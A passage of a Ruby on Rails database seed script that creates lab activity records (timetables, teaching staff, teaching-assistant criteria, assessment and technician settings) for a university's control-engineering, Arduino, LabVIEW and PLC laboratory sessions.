\"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a330.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n\n\n a331 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6101\").first.id, code: \"206\").first_or_create!(name: \"Discrete Domain Control Design\",\n name_abrv: \"SERVO-C\", archived: false, in_drive: false, user_id: 2)\n at331 = ActivityTimetable.where(activity_id: a331.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a331.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a331.id).first_or_create!(criteria: \"Understanding of physical systems modelling, the analysis of 1st and 2nd order systems, and z-domain control design\",\n job_desc:\"This laboratory involved designing control system compensators in the z-domain, and implementing them on the hardware system in the laboratory.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a331.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a331.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n\n\n a332 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS232\").first.id, code: \"207\").first_or_create!(name: \"Filters\",\n name_abrv: \"SS-Filters\", archived: false, in_drive: false, user_id: 2)\n at332 = ActivityTimetable.where(activity_id: a332.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 90, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a332.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a332.id).first_or_create!(criteria: \"Must have a strong mathematical understanding, and be able to describe the frequency response characteristics of filters, as LTI systems.\",\n job_desc:\"During this session, the students will investigate the response of different filter types, and demonstrate how systems exhibit filtering behavior when observing the input and output signals.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a332.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a332.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n\n\n a333 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AMR231\").first.id, code: \"208\").first_or_create!(name: \"First order and second order systems [RCL Circuit]\",\n name_abrv: \"AMR231RCL\", archived: false, in_drive: false, user_id: 1)\n at333 = ActivityTimetable.where(activity_id: a333.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 13, max_week_num: 15, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a333.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a333.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse 1st and 2nd order electrical circuits and compare the simulated responses against measured data\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a333.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a333.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a333.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a334 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS132\").first.id, code: \"209\").first_or_create!(name: \"Frequency Domain Analysis of a Servo System\",\n name_abrv: \"FREQ SERVO\", archived: false, in_drive: false, user_id: 1)\n at334 = ActivityTimetable.where(activity_id: a334.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a334.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a334.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The Students are required to analyse the a servo system in the frequency domain, and develop a model of the system. The students will observe the effects of applying, in closed loop, P and PI compensation, in closed loop, to the system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a334.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a334.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n\n\n a335 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS1321\").first.id, code: \"209\").first_or_create!(name: \"Frequency Domain Analysis of a Servo System\",\n name_abrv: \"FREQ SERVO\", archived: false, in_drive: false, user_id: 5)\n at335 = ActivityTimetable.where(activity_id: a335.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a335.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a335.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The Students are required to analyse the a servo system in the frequency domain, and develop a model of the system. The students will observe the effects of applying, in closed loop, P and PI compensation, in closed loop, to the system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a335.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a335.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a335.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a336 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"210\").first_or_create!(name: \"Introduction to Arduino: Simple Digital I/O\",\n name_abrv: \"Ard I/O\", archived: false, in_drive: false, user_id: 5)\n at336 = ActivityTimetable.where(activity_id: a336.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit will need to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a336.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a336.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"This laboratory involves interfacing digital sensors and actuators to an arduino device\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a336.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a336.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n\n\n a337 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6502\").first.id, code: \"210\").first_or_create!(name: \"Introduction to Arduino: Simple Digital I/O\",\n name_abrv: \"Ard I/O\", archived: false, in_drive: false, user_id: 2)\n at337 = ActivityTimetable.where(activity_id: a337.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a337.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a337.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a337.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a337.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n\n\n a338 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS134\").first.id, code: \"211\").first_or_create!(name: \"LabVIEW: Data Acquisition\",\n name_abrv: \"LabVIEW1\", archived: false, in_drive: false, user_id: 3)\n at338 = ActivityTimetable.where(activity_id: a338.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 90, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a338.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a338.id).first_or_create!(criteria: \"Previous LabVIEW experience Essential\",\n job_desc:\"This laboratory is a basic introduction into LabVIEW programing and data acquisition. GTAs should have basic knowledge of LabVIEW programming.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a338.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a338.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n\n\n a339 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS134\").first.id, code: \"212\").first_or_create!(name: \"LabVIEW: Servo Control Application\",\n name_abrv: \"LabVIEW2\", archived: false, in_drive: false, user_id: 3)\n at339 = ActivityTimetable.where(activity_id: a339.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a339.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a339.id).first_or_create!(criteria: \"Previous LabVIEW experience Essential\",\n job_desc:\"This laboratory is a basic introduction into LabVIEW programing and data acquisition. GTAs should have basic knowledge of LabVIEW programming.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a339.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a339.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n\n\n a340 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS133\").first.id, code: \"213\").first_or_create!(name: \"Modelling and Control of a Hot Air Process Control System\",\n name_abrv: \"HVAC 2\", archived: false, in_drive: false, user_id: 1)\n at340 = ActivityTimetable.where(activity_id: a340.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a340.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a340.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory involves modelling and analysis of the performance characteristics of a 2nd order Mass, Spring, Damper system, in the time domain.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a340.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a340.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n\n\n a341 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS219\").first.id, code: \"213\").first_or_create!(name: \"Modelling and Control of a Hot Air Process Control System\",\n name_abrv: \"CBE-HVAC\", archived: false, in_drive: false, user_id: 1)\n at341 = ActivityTimetable.where(activity_id: a341.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a341.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a341.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is basic parameter identification of a 1st order system from step response characteristics: Gain, Time Constant and System Delay.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a341.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a341.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a341.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a342 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"214\").first_or_create!(name: \"Multi-servo & closed-loop control (active sensing)\",\n name_abrv: \"Robot - Multi Servo\", archived: false, in_drive: false, user_id: 1)\n at342 = ActivityTimetable.where(activity_id: a342.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: 8, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit will need to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a342.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a342.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"During this session, the students will coordinate the motion of multiple servomotors with PWM signals, from an Arduino. They will also, assemble a robot hand and investigate the basics of sensor-motor coordination through a process of grasping a fragile object.\", jobshop_desc: \"\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a342.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a342.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n\n\n a343 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS134\").first.id, code: \"215\").first_or_create!(name: \"PLC1: Basics\",\n name_abrv: \"PLC 1 - Basics\", archived: false, in_drive: false, user_id: 5)\n at343 = ActivityTimetable.where(activity_id: a343.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 4, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a343.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a343.id).first_or_create!(criteria: \"GTAs should have some experience of PLC programming.\",\n job_desc:\"This is a basic introduction into PLC programming on an Allen Bradley PLC.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a343.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a343.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n\n\n a344 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6101\").first.id, code: \"215\").first_or_create!(name: \"PLC1: Basics\",\n name_abrv: \"PLC 1 - Basics\", archived: false, in_drive: false, user_id: 1)\n at344 = ActivityTimetable.where(activity_id: a344.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a344.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a344.id).first_or_create!(criteria: \"GTAs should have some experience of PLC programming.\",\n job_desc:\"This is a basic introduction into PLC programming on an Allen Bradley PLC.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a344.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a344.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n\n\n a345 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS134\").first.id, code: \"216\").first_or_create!(name: \"PLC2: Counters and Timers\",\n name_abrv: \"PLC 2 - C & T\", archived: false, in_drive: false, user_id: 1)\n at345 = ActivityTimetable.where(activity_id: a345.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a345.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a345.id).first_or_create!(criteria: \"GTAs should have some experience of PLC programming.\",\n job_desc:\"This is an extension of the PLC 1 laboratory, the students will be using counters and timers to perform event driven operations on a manufacturing process control system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a345.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a345.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n\n\n a346 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6101\").first.id, code: \"216\").first_or_create!(name: \"PLC2: Counters and Timers\",\n name_abrv: \"PLC 2 - C & T\", archived: false, in_drive: false, user_id: 1)\n at346 = ActivityTimetable.where(activity_id: a346.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a346.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a346.id).first_or_create!(criteria: \"GTAs should have some experience of PLC programming.\",\n job_desc:\"This is an extension of the PLC 1 laboratory, the students will be using counters and timers to perform event driven operations on a manufacturing process control system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a346.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a346.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n\n\n a347 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"217\").first_or_create!(name: \"PWM control of Actuators, using an Arduino\",\n name_abrv: \"Ard PWM\", archived: false, in_drive: false, user_id: 2)\n at347 = ActivityTimetable.where(activity_id: a347.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit will need to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a347.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a347.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"The aims of this laboratory session is to drive different type of actuators using a PWM output from\n an Arduino device, use timers to sequence control functions, and use sensors to adjust the\n behaviour of a system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a347.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a347.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n\n\n a348 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6502\").first.id, code: \"217\").first_or_create!(name: \"PWM control of Actuators, using an Arduino\",\n name_abrv: \"Ard PWM\", archived: false, in_drive: false, user_id: 2)\n at348 = ActivityTimetable.where(activity_id: a348.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a348.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a348.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a348.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a348.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n\n\n a349 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS329\").first.id, code: \"218\").first_or_create!(name: \"Quanser 2DOF Robot\",\n name_abrv: \"2-DOF Robot\", archived: true, in_drive: false, user_id: 5)\n at349 = ActivityTimetable.where(activity_id: a349.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a349.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a349.id).first_or_create!(criteria: \"You will need knowledge of servos and servo control and basic robot kinematics\",\n job_desc:\"A robot control lab. This lab involves controlling a closed-kinematic chain 2-DOF robot.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a349.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a349.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n\n\n a350 = Activity.where(theme_id: $ccee.id, uni_module_id: 